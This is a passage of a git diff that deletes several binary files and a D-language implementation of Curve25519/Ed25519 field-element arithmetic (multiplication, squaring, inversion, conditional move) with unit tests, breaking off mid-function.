90fb27a8a69b07e62f78f1a288830c3d3161165e8cac5f999c13046aeadb1019..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 344 zcmV-e0jK_W0o_!wPQx$|WzJWeJhg)xsv?Fq>4LxTWk#R!eGgbC`l{GCD!#bRw8AVtP~j< z*4K5FXCORltaa5!NVL=nD2;A5L7^+9s_gjpVgPEBr!3B;uEnHoOLme(X;bENr~d=) zBiD{kZ{dyK!P-5Zn6Gs!%zRBnAyn8P{yxgEqF3KxNEdiS*c`&)omY2IbRv?JBqhQ= zfyg9wRxP9BXuNa540?-xKmUppRkZubf<7JUyWpIEccCX9G@=Ln7cX!-=tY;lz84+w quooTZnqC|hNq0&1ABn#^<3;r8_M_PP-C2kgHnLxoi|7koqjn~QU8ffS diff --git a/f26b2c1a97d79e49a2de86832d7c7ef2090c83 b/f26b2c1a97d79e49a2de86832d7c7ef2090c83 deleted file mode 100644 index 53e6ab4122997f34e652c990d7d85e0be9d76d164c9984085174fe28b5fc9997..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 452 zcmV;#0XzP90c}#-j?*v@9Pn3s!atCNFV`1tNj5d9=Dbp+wz6Bit_J_ z-L%;idXdxY=CrTE)h7b*ZeMKog8ZVL46`R9)>F?!Xdh~Y7t#s5{~fF|x> zoT{p~Cd7*rw3o^nY5kFV@r3dp()vZ#-5uqL|ZWQ7ePY zScC8y^2+R~mH#+10zw5&3S!$QAFL;Z$hg+_h+@I4-<}_q>E3*+WjZw7 ucBEtRjMw2`U7KAYuIQYqRaG{yp@OLUb6y(Sy1F=*6(8q)oT|TGW)k>m?&sA2 diff --git a/fd41d142c95c74069ebb5460117e74ead3b9df b/fd41d142c95c74069ebb5460117e74ead3b9df deleted file mode 100644 index 16d7891c787b5bdaacbeb1216057eeb796bdfa566aa02b5d9a369aad3303f7c7..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 647 zcmV;20(kv+0j-taYuhjo$M@{N;_yRBIxAV}!ZwqH6*}m{HcBabDPhRA?1;*ikv5bfU5~(t#pk9-YP;ba3AX_8RB|MzX^{RNE z@zo+mMJsJmFtQ;J9oXwDhzeHixsGD5qAYGVcp& z9?S;=BV()6pR{Dr{*)pZjYf4V<_HwahcKIiRo>Ld$4zdGv#t5twJRyuEOcrOo#Bvk zwoR)+PsXOA#{#=ybgVvXQ*HO9?Q%R1hQq+o8D(78f^KZ1hE(W`hX=*2?l}tU`xnJq zs%W8Ty?hPJ8%8r;6+ZMOs(qVA1ARiv$q7Jx9$}e~3&>@Kq+}UyN)T-|Qpt*ec{?Q_0jK(q2%OEPqjhx*0d;hF2soLMiEYzfn&lj#qByh~R~W+`N;xX=6^Jih^0WofB^ z1Xl@MK$NX^Tal_@RftfDt3=Sr_aeFXdLIy<2#x+DD{m1$owS5^4dFK1mBK(r7HNe9 zt%PwAZpFuJm#Vr{Mv3@KZbe)6Ybv)P=W+q*E=jCu!dKsZBa>Fs54$DM{T&C-~>4{S&(|8<=jTQ6jrVbzD_em`jI!{~ptD3^7iKk-= zUPn`XY$_BDm8%uatbxbEQ~*<`Dm)X_tQHMbuJTWKD!fg{;y=|D$bk)*6v#j;q6Yr3 zW{~i7w))1wO+x_-SkIX1*|7gY?O08lo+LAFU`8#F)Pf#QqDS!RL#dt;5j@C9Z3r=) z>`8-iB+O7Sq4pu1NfM8>RB{Y&aC9 zDyB&imcd%8&2AaUY{;SGIeypcGK}-N7JrH~5(RcI#hGIa335tj9EpfInelOVx+=@b z#%rJdxkg8iggB)i42bin*ld|aPeGXH7|+LzOd?+s9x_@Jm!(Wj+iXw7;fpr{zi9}@kRLfMngjMzt- z8Zq&{kYd$T2%Irz`6-fI9~i6|-Ez9-G%{L|+nm6QIfLP+uRa8cNY`q!=;%k+C&=cu ztv>(wtZmOn3pl`C@RC15B^y_=&t$L}e<3KC6fe-G6rh?6WUeEzct@g}$E z?f`9#uvu`aIdm%-oef*Em(@xO6P|mP^u0cKX0>>W`L{gx%%yQ50Lll6>j?aYd*^W# zmI5uC)#9C*)G!oGzoDad=sEoCl!>cc`+2;#Fi_p4^pSp+_k6t7ttpP)=(XC^a<+HU=T}0rCBG-o)BhpNNW|eT zQSR<)@lg$1S5gSID^i`jzKxDT>k(bSE?{w5fyWTlz$h>*G>*_+TcBCOLVYQPR$WXqj%0O^n>rq7erU` z!&*aAA^hsvnuX%NZB&ZlHZRWB=;~SFH?3AP!(>UsU3%@R_(9pYDq!7lq z9AGJEi82=7u1gVTg}~bGQEDcOVl*#huGLniJjo>M!%3B1g&Qy(>WS*eIl||t{%-;Q zDd77Wy82zhC^&*&z`OC_3_P>{oeDO_S32h~FiNv;D&0btqfg(j;~ZVpm0ZoMIL+GR zX14v~dKdS 0) - { - fe f = fe_sq(this); - - static if(repeat > 1) { - foreach(i; 1..repeat) { - f = f.sq!1; - } - } - - return f; - } - - /// Returns: 2*f*f - @property - fe sq2() const pure { - return fe_sq2(this); - } - - /// Power by squaring in constant time. - /// Returns f^power - @property - fe cpow(uint power)() const { - fe r = fe.one; - fe sq = this; - for(uint p = power; p > 0; p >>= 1) { - if((p & 1) == 1) { - r *= sq; - } - sq = sq.sq; - } - - return r; - } -} - - - -///// h = f + g -///// Can overlap h with f or g. -///// -///// Preconditions: -///// |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. -///// |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. -///// -///// Postconditions: -///// |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. -//void fe_add(ref fe h, in ref fe f, in ref fe g) -//{ -// //h[] = f[] + g[]; -// foreach(i; 0..10) { -// h[i] = f[i] + g[i]; -// } -//} - - -/// Conditional move. -/// Replace (f,g) with (g,g) if b == 1; -/// replace (f,g) with (f,g) if b == 0. -/// -/// Params: -/// dest = Destination. -/// src = Source. -/// condition = Condition. -void fe_cmov(ref fe dest, in ref fe src, in bool condition) -in { - assert(condition == 0 || condition == 1); -} out { - if(condition == 1) { - assert(dest == src); - } -} body { - immutable uint mask = -(cast(int)condition); - - assert((condition == 0 && mask == 0) || (condition == 1 && mask == 0xFFFFFFFF)); - - dest[] ^= mask & dest[]; - dest[] ^= mask & src[]; -} - -// test conditional move -unittest { - import std.algorithm: all; - - fe a, b; - a[] = 13; - b[] = 42; - - assert(all!"a == 13"(a[])); - assert(all!"a == 42"(b[])); - - fe_cmov(a, b, 0); - - assert(all!"a == 13"(a[])); - assert(all!"a == 42"(b[])); - - fe_cmov(a, b, 1); - - assert(all!"a == 42"(a[])); -} - -ulong load_3(in ubyte[] inp) pure -in { - assert(inp.length == 3); -} body { - ulong result; - result = cast(ulong) inp[0]; - result |= (cast(ulong) inp[1]) << 8; - result |= (cast(ulong) inp[2]) << 16; - return result; -} - -ulong load_4(in ubyte[] inp) pure -in { - assert(inp.length == 4); -} body { - ulong result; - result = cast(ulong) inp[0]; - result |= (cast(ulong) inp[1]) << 8; - result |= (cast(ulong) inp[2]) << 16; - result |= (cast(ulong) inp[3]) << 24; - return result; -} - -/* - Ignores top bit of h. - */ -private fe fe_frombytes(in ubyte[] s) pure -in { - assert(s.length == 32); -} body { - long h0 = load_4(s[0..4]); - long h1 = load_3(s[4..7]) << 6; - long h2 = load_3(s[7..10]) << 5; - long h3 = load_3(s[10..13]) << 3; - long h4 = load_3(s[13..16]) << 2; - long h5 = load_4(s[16..20]); - long h6 = load_3(s[20..23]) << 7; - long h7 = load_3(s[23..26]) << 5; - long h8 = load_3(s[26..29]) << 4; - long h9 = (load_3(s[29..32]) & 8388607) << 2; - - long carry0; - long carry1; - long carry2; - long carry3; - long carry4; - long carry5; - long carry6; - long carry7; - long carry8; - long carry9; - - carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); - carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); - carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); - carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); - carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); - carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); - - fe h; - h[0] = cast(int) h0; - h[1] = cast(int) h1; - h[2] = cast(int) h2; - h[3] = cast(int) h3; - h[4] = cast(int) h4; - h[5] = cast(int) h5; - h[6] = cast(int) h6; - h[7] = cast(int) h7; - h[8] = cast(int) h8; - h[9] = cast(int) h9; - return h; -} - -// TODO replace all SHL* with << -long SHL64(in long val, in uint shift) pure nothrow @nogc { - return cast(long)(cast(ulong) val << shift); -} - -int SHL32(in int val, in uint shift) pure nothrow @nogc { - return cast(int)(cast(uint) val << shift); -} - -int SHL8(in byte val, in uint shift) pure nothrow @nogc { - return cast(byte)(cast(ubyte) val << shift); -} - -unittest { - assert(cast(int)(0xFFFFFFFF) << 7 == SHL32(0xFFFFFFFF, 7)); -} - -private fe fe_invert(in ref fe z) -{ - fe t0; - fe t1; - fe t2; - fe t3; - // pow225521 - t0 = z.sq; - t1 = t0.sq.sq; - - t1 *= z; - t0 *= t1; - t2 = t0.sq; - t1 *= t2; - - t2 = t1.sq!5; - - t1 *= t2; - t2 = t1.sq!10; - - t2 *= t1; - - t3 = t2.sq!20; - - t2 *= t3; - t2 = t2.sq!10; - - t1 *= t2; - - t2 = t1.sq!50; - - t2 *= t1; - t3 = t2.sq!100; - - t2 *= t3; - t2 = t2.sq!50; - - t1 *= t2; - - t1 = t1.sq!5; - - return t1 * t0; -} - - - - - -/** - Returns: h = f * g - Can overlap h with f or g. - - Preconditions: - |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. - |g| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. - - Postconditions: - |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. - - Note: - Notes on implementation strategy: - - Using schoolbook multiplication. - Karatsuba would save a little in some cost models. - - Most multiplications by 2 and 19 are 32-bit precomputations; - cheaper than 64-bit postcomputations. - - There is one remaining multiplication by 19 in the carry chain; - one *19 precomputation can be merged into this, - but the resulting data flow is considerably less clean. - - There are 12 carries below. - 10 of them are 2-way parallelizable and vectorizable. - Can get away with 11 carries, but then data flow is much deeper. - - With tighter constraints on inputs can squeeze carries into int32. - */ -private fe fe_mul(in ref fe f, in ref fe g) pure -{ - int f0 = f[0]; - int f1 = f[1]; - int f2 = f[2]; - int f3 = f[3]; - int f4 = f[4]; - int f5 = f[5]; - int f6 = f[6]; - int f7 = f[7]; - int f8 = f[8]; - int f9 = f[9]; - int g0 = g[0]; - int g1 = g[1]; - int g2 = g[2]; - int g3 = g[3]; - int g4 = g[4]; - int g5 = g[5]; - int g6 = g[6]; - int g7 = g[7]; - int g8 = g[8]; - int g9 = g[9]; - int g1_19 = 19 * g1; /* 1.959375*2^29 */ - int g2_19 = 19 * g2; /* 1.959375*2^30; still ok */ - int g3_19 = 19 * g3; - int g4_19 = 19 * g4; - int g5_19 = 19 * g5; - int g6_19 = 19 * g6; - int g7_19 = 19 * g7; - int g8_19 = 19 * g8; - int g9_19 = 19 * g9; - int f1_2 = 2 * f1; - int f3_2 = 2 * f3; - int f5_2 = 2 * f5; - int f7_2 = 2 * f7; - int f9_2 = 2 * f9; - long f0g0 = f0 * cast(long) g0; - long f0g1 = f0 * cast(long) g1; - long f0g2 = f0 * cast(long) g2; - long f0g3 = f0 * cast(long) g3; - long f0g4 = f0 * cast(long) g4; - long f0g5 = f0 * cast(long) g5; - long f0g6 = f0 * cast(long) g6; - long f0g7 = f0 * cast(long) g7; - long f0g8 = f0 * cast(long) g8; - long f0g9 = f0 * cast(long) g9; - long f1g0 = f1 * cast(long) g0; - long f1g1_2 = f1_2 * cast(long) g1; - long f1g2 = f1 * cast(long) g2; - long f1g3_2 = f1_2 * cast(long) g3; - long f1g4 = f1 * cast(long) g4; - long f1g5_2 = f1_2 * cast(long) g5; - long f1g6 = f1 * cast(long) g6; - long f1g7_2 = f1_2 * cast(long) g7; - long f1g8 = f1 * cast(long) g8; - long f1g9_38 = f1_2 * cast(long) g9_19; - long f2g0 = f2 * cast(long) g0; - long f2g1 = f2 * cast(long) g1; - long f2g2 = f2 * cast(long) g2; - long f2g3 = f2 * cast(long) g3; - long f2g4 = f2 * cast(long) g4; - long f2g5 = f2 * cast(long) g5; - long f2g6 = f2 * cast(long) g6; - long f2g7 = f2 * cast(long) g7; - long f2g8_19 = f2 * cast(long) g8_19; - long f2g9_19 = f2 * cast(long) g9_19; - long f3g0 = f3 * cast(long) g0; - long f3g1_2 = f3_2 * cast(long) g1; - long f3g2 = f3 * cast(long) g2; - long f3g3_2 = f3_2 * cast(long) g3; - long f3g4 = f3 * cast(long) g4; - long f3g5_2 = f3_2 * cast(long) g5; - long f3g6 = f3 * cast(long) g6; - long f3g7_38 = f3_2 * cast(long) g7_19; - long f3g8_19 = f3 * cast(long) g8_19; - long f3g9_38 = f3_2 * cast(long) g9_19; - long f4g0 = f4 * cast(long) g0; - long f4g1 = f4 * cast(long) g1; - long f4g2 = f4 * cast(long) g2; - long f4g3 = f4 * cast(long) g3; - long f4g4 = f4 * cast(long) g4; - long f4g5 = f4 * cast(long) g5; - long f4g6_19 = f4 * cast(long) g6_19; - long f4g7_19 = f4 * cast(long) g7_19; - long f4g8_19 = f4 * cast(long) g8_19; - long f4g9_19 = f4 * cast(long) g9_19; - long f5g0 = f5 * cast(long) g0; - long f5g1_2 = f5_2 * cast(long) g1; - long f5g2 = f5 * cast(long) g2; - long f5g3_2 = f5_2 * cast(long) g3; - long f5g4 = f5 * cast(long) g4; - long f5g5_38 = f5_2 * cast(long) g5_19; - long f5g6_19 = f5 * cast(long) g6_19; - long f5g7_38 = f5_2 * cast(long) g7_19; - long f5g8_19 = f5 * cast(long) g8_19; - long f5g9_38 = f5_2 * cast(long) g9_19; - long f6g0 = f6 * cast(long) g0; - long f6g1 = f6 * cast(long) g1; - long f6g2 = f6 * cast(long) g2; - long f6g3 = f6 * cast(long) g3; - long f6g4_19 = f6 * cast(long) g4_19; - long f6g5_19 = f6 * cast(long) g5_19; - long f6g6_19 = f6 * cast(long) g6_19; - long f6g7_19 = f6 * cast(long) g7_19; - long f6g8_19 = f6 * cast(long) g8_19; - long f6g9_19 = f6 * cast(long) g9_19; - long f7g0 = f7 * cast(long) g0; - long f7g1_2 = f7_2 * cast(long) g1; - long f7g2 = f7 * cast(long) g2; - long f7g3_38 = f7_2 * cast(long) g3_19; - long f7g4_19 = f7 * cast(long) g4_19; - long f7g5_38 = f7_2 * cast(long) g5_19; - long f7g6_19 = f7 * cast(long) g6_19; - long f7g7_38 = f7_2 * cast(long) g7_19; - long f7g8_19 = f7 * cast(long) g8_19; - long f7g9_38 = f7_2 * cast(long) g9_19; - long f8g0 = f8 * cast(long) g0; - long f8g1 = f8 * cast(long) g1; - long f8g2_19 = f8 * cast(long) g2_19; - long f8g3_19 = f8 * cast(long) g3_19; - long f8g4_19 = f8 * cast(long) g4_19; - long f8g5_19 = f8 * cast(long) g5_19; - long f8g6_19 = f8 * cast(long) g6_19; - long f8g7_19 = f8 * cast(long) g7_19; - long f8g8_19 = f8 * cast(long) g8_19; - long f8g9_19 = f8 * cast(long) g9_19; - long f9g0 = f9 * cast(long) g0; - long f9g1_38 = f9_2 * cast(long) g1_19; - long f9g2_19 = f9 * cast(long) g2_19; - long f9g3_38 = f9_2 * cast(long) g3_19; - long f9g4_19 = f9 * cast(long) g4_19; - long f9g5_38 = f9_2 * cast(long) g5_19; - long f9g6_19 = f9 * cast(long) g6_19; - long f9g7_38 = f9_2 * cast(long) g7_19; - long f9g8_19 = f9 * cast(long) g8_19; - long f9g9_38 = f9_2 * cast(long) g9_19; - long h0 = f0g0+f1g9_38+f2g8_19+f3g7_38+f4g6_19+f5g5_38+f6g4_19+f7g3_38+f8g2_19+f9g1_38; - long h1 = f0g1+f1g0 +f2g9_19+f3g8_19+f4g7_19+f5g6_19+f6g5_19+f7g4_19+f8g3_19+f9g2_19; - long h2 = f0g2+f1g1_2 +f2g0 +f3g9_38+f4g8_19+f5g7_38+f6g6_19+f7g5_38+f8g4_19+f9g3_38; - long h3 = f0g3+f1g2 +f2g1 +f3g0 +f4g9_19+f5g8_19+f6g7_19+f7g6_19+f8g5_19+f9g4_19; - long h4 = f0g4+f1g3_2 +f2g2 +f3g1_2 +f4g0 +f5g9_38+f6g8_19+f7g7_38+f8g6_19+f9g5_38; - long h5 = f0g5+f1g4 +f2g3 +f3g2 +f4g1 +f5g0 +f6g9_19+f7g8_19+f8g7_19+f9g6_19; - long h6 = f0g6+f1g5_2 +f2g4 +f3g3_2 +f4g2 +f5g1_2 +f6g0 +f7g9_38+f8g8_19+f9g7_38; - long h7 = f0g7+f1g6 +f2g5 +f3g4 +f4g3 +f5g2 +f6g1 +f7g0 +f8g9_19+f9g8_19; - long h8 = f0g8+f1g7_2 +f2g6 +f3g5_2 +f4g4 +f5g3_2 +f6g2 +f7g1_2 +f8g0 +f9g9_38; - long h9 = f0g9+f1g8 +f2g7 +f3g6 +f4g5 +f5g4 +f6g3 +f7g2 +f8g1 +f9g0 ; - long carry0; - long carry1; - long carry2; - long carry3; - long carry4; - long carry5; - long carry6; - long carry7; - long carry8; - long carry9; - - /* - |h0| <= (1.65*1.65*2^52*(1+19+19+19+19)+1.65*1.65*2^50*(38+38+38+38+38)) - i.e. |h0| <= 1.4*2^60; narrower ranges for h2, h4, h6, h8 - |h1| <= (1.65*1.65*2^51*(1+1+19+19+19+19+19+19+19+19)) - i.e. |h1| <= 1.7*2^59; narrower ranges for h3, h5, h7, h9 - */ - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - /* |h0| <= 2^25 */ - /* |h4| <= 2^25 */ - /* |h1| <= 1.71*2^59 */ - /* |h5| <= 1.71*2^59 */ - - carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); - carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); - /* |h1| <= 2^24; from now on fits into int32 */ - /* |h5| <= 2^24; from now on fits into int32 */ - /* |h2| <= 1.41*2^60 */ - /* |h6| <= 1.41*2^60 */ - - carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); - carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); - /* |h2| <= 2^25; from now on fits into int32 unchanged */ - /* |h6| <= 2^25; from now on fits into int32 unchanged */ - /* |h3| <= 1.71*2^59 */ - /* |h7| <= 1.71*2^59 */ - - carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); - carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); - /* |h3| <= 2^24; from now on fits into int32 unchanged */ - /* |h7| <= 2^24; from now on fits into int32 unchanged */ - /* |h4| <= 1.72*2^34 */ - /* |h8| <= 1.41*2^60 */ - - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); - /* |h4| <= 2^25; from now on fits into int32 unchanged */ - /* |h8| <= 2^25; from now on fits into int32 unchanged */ - /* |h5| <= 1.01*2^24 */ - /* |h9| <= 1.71*2^59 */ - - carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); - /* |h9| <= 2^24; from now on fits into int32 unchanged */ - /* |h0| <= 1.1*2^39 */ - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - /* |h0| <= 2^25; from now on fits into int32 unchanged */ - /* |h1| <= 1.01*2^24 */ - fe h; - h[0] = cast(int) h0; - h[1] = cast(int) h1; - h[2] = cast(int) h2; - h[3] = cast(int) h3; - h[4] = cast(int) h4; - h[5] = cast(int) h5; - h[6] = cast(int) h6; - h[7] = cast(int) h7; - h[8] = cast(int) h8; - h[9] = cast(int) h9; - - return h; -} - - -/// Returns f * 121666 -/// -/// Preconditions: -/// |f| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. -/// -/// Postconditions: -/// |h| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. -public fe fe_mul121666(in ref fe f) pure -{ - int f0 = f[0]; - int f1 = f[1]; - int f2 = f[2]; - int f3 = f[3]; - int f4 = f[4]; - int f5 = f[5]; - int f6 = f[6]; - int f7 = f[7]; - int f8 = f[8]; - int f9 = f[9]; - long h0 = f0 * cast(long) 121666; - long h1 = f1 * cast(long) 121666; - long h2 = f2 * cast(long) 121666; - long h3 = f3 * cast(long) 121666; - long h4 = f4 * cast(long) 121666; - long h5 = f5 * cast(long) 121666; - long h6 = f6 * cast(long) 121666; - long h7 = f7 * cast(long) 121666; - long h8 = f8 * cast(long) 121666; - long h9 = f9 * cast(long) 121666; - long carry0; - long carry1; - long carry2; - long carry3; - long carry4; - long carry5; - long carry6; - long carry7; - long carry8; - long carry9; - - carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= carry9 << 25; - carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= carry1 << 25; - carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= carry3 << 25; - carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= carry5 << 25; - carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= carry7 << 25; - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= carry0 << 26; - carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= carry2 << 26; - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= carry4 << 26; - carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= carry6 << 26; - carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= carry8 << 26; - - fe h; - h[0] = cast(uint) h0; - h[1] = cast(uint) h1; - h[2] = cast(uint) h2; - h[3] = cast(uint) h3; - h[4] = cast(uint) h4; - h[5] = cast(uint) h5; - h[6] = cast(uint) h6; - h[7] = cast(uint) h7; - h[8] = cast(uint) h8; - h[9] = cast(uint) h9; - - return h; -} - -/// Returns: z^(2^(225-23)) -package fe fe_pow22523(in ref fe z) pure -{ - fe t0; - fe t1; - fe t2; - t0 = z.sq; - t1 = t0.sq.sq; - - t1 *= z; - t0 *= t1; - t0 = t0.sq; - t0 *= t1; - - // t1 = z.cpow!9; - // t0 = z.cpow!31; - - t1 = t0.sq!5; - - t0 *= t1; - - t1 = t0.sq!10; - - t1 *= t0; - - t2 = t1.sq!20; - - t1 *= t2; - - t1 = t1.sq!10; - - t0 *= t1; - - t1 = t0.sq!50; - - t1 *= t0; - - t2 = t1.sq!100; - - t1 *= t2; - - t1 = t1.sq!50; - - t0 *= t1; - t0 = t0.sq.sq; - - return t0 * z; -} - - -/** - Returns: h = f * f - Can overlap h with f. - - Preconditions: - |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. - - Postconditions: - |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. - - Note: - See fe_mul.c for discussion of implementation strategy. - */ -private fe fe_sq(in ref fe f) pure -{ - int f0 = f[0]; - int f1 = f[1]; - int f2 = f[2]; - int f3 = f[3]; - int f4 = f[4]; - int f5 = f[5]; - int f6 = f[6]; - int f7 = f[7]; - int f8 = f[8]; - int f9 = f[9]; - int f0_2 = 2 * f0; - int f1_2 = 2 * f1; - int f2_2 = 2 * f2; - int f3_2 = 2 * f3; - int f4_2 = 2 * f4; - int f5_2 = 2 * f5; - int f6_2 = 2 * f6; - int f7_2 = 2 * f7; - int f5_38 = 38 * f5; /* 1.959375*2^30 */ - int f6_19 = 19 * f6; /* 1.959375*2^30 */ - int f7_38 = 38 * f7; /* 1.959375*2^30 */ - int f8_19 = 19 * f8; /* 1.959375*2^30 */ - int f9_38 = 38 * f9; /* 1.959375*2^30 */ - long f0f0 = f0 * cast(long) f0; - long f0f1_2 = f0_2 * cast(long) f1; - long f0f2_2 = f0_2 * cast(long) f2; - long f0f3_2 = f0_2 * cast(long) f3; - long f0f4_2 = f0_2 * cast(long) f4; - long f0f5_2 = f0_2 * cast(long) f5; - long f0f6_2 = f0_2 * cast(long) f6; - long f0f7_2 = f0_2 * cast(long) f7; - long f0f8_2 = f0_2 * cast(long) f8; - long f0f9_2 = f0_2 * cast(long) f9; - long f1f1_2 = f1_2 * cast(long) f1; - long f1f2_2 = f1_2 * cast(long) f2; - long f1f3_4 = f1_2 * cast(long) f3_2; - long f1f4_2 = f1_2 * cast(long) f4; - long f1f5_4 = f1_2 * cast(long) f5_2; - long f1f6_2 = f1_2 * cast(long) f6; - long f1f7_4 = f1_2 * cast(long) f7_2; - long f1f8_2 = f1_2 * cast(long) f8; - long f1f9_76 = f1_2 * cast(long) f9_38; - long f2f2 = f2 * cast(long) f2; - long f2f3_2 = f2_2 * cast(long) f3; - long f2f4_2 = f2_2 * cast(long) f4; - long f2f5_2 = f2_2 * cast(long) f5; - long f2f6_2 = f2_2 * cast(long) f6; - long f2f7_2 = f2_2 * cast(long) f7; - long f2f8_38 = f2_2 * cast(long) f8_19; - long f2f9_38 = f2 * cast(long) f9_38; - long f3f3_2 = f3_2 * cast(long) f3; - long f3f4_2 = f3_2 * cast(long) f4; - long f3f5_4 = f3_2 * cast(long) f5_2; - long f3f6_2 = f3_2 * cast(long) f6; - long f3f7_76 = f3_2 * cast(long) f7_38; - long f3f8_38 = f3_2 * cast(long) f8_19; - long f3f9_76 = f3_2 * cast(long) f9_38; - long f4f4 = f4 * cast(long) f4; - long f4f5_2 = f4_2 * cast(long) f5; - long f4f6_38 = f4_2 * cast(long) f6_19; - long f4f7_38 = f4 * cast(long) f7_38; - long f4f8_38 = f4_2 * cast(long) f8_19; - long f4f9_38 = f4 * cast(long) f9_38; - long f5f5_38 = f5 * cast(long) f5_38; - long f5f6_38 = f5_2 * cast(long) f6_19; - long f5f7_76 = f5_2 * cast(long) f7_38; - long f5f8_38 = f5_2 * cast(long) f8_19; - long f5f9_76 = f5_2 * cast(long) f9_38; - long f6f6_19 = f6 * cast(long) f6_19; - long f6f7_38 = f6 * cast(long) f7_38; - long f6f8_38 = f6_2 * cast(long) f8_19; - long f6f9_38 = f6 * cast(long) f9_38; - long f7f7_38 = f7 * cast(long) f7_38; - long f7f8_38 = f7_2 * cast(long) f8_19; - long f7f9_76 = f7_2 * cast(long) f9_38; - long f8f8_19 = f8 * cast(long) f8_19; - long f8f9_38 = f8 * cast(long) f9_38; - long f9f9_38 = f9 * cast(long) f9_38; - long h0 = f0f0 +f1f9_76+f2f8_38+f3f7_76+f4f6_38+f5f5_38; - long h1 = f0f1_2+f2f9_38+f3f8_38+f4f7_38+f5f6_38; - long h2 = f0f2_2+f1f1_2 +f3f9_76+f4f8_38+f5f7_76+f6f6_19; - long h3 = f0f3_2+f1f2_2 +f4f9_38+f5f8_38+f6f7_38; - long h4 = f0f4_2+f1f3_4 +f2f2 +f5f9_76+f6f8_38+f7f7_38; - long h5 = f0f5_2+f1f4_2 +f2f3_2 +f6f9_38+f7f8_38; - long h6 = f0f6_2+f1f5_4 +f2f4_2 +f3f3_2 +f7f9_76+f8f8_19; - long h7 = f0f7_2+f1f6_2 +f2f5_2 +f3f4_2 +f8f9_38; - long h8 = f0f8_2+f1f7_4 +f2f6_2 +f3f5_4 +f4f4 +f9f9_38; - long h9 = f0f9_2+f1f8_2 +f2f7_2 +f3f6_2 +f4f5_2; - long carry0; - long carry1; - long carry2; - long carry3; - long carry4; - long carry5; - long carry6; - long carry7; - long carry8; - long carry9; - - carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); - - carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); - carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); - - carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); - carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); - - carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); - carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); - - carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 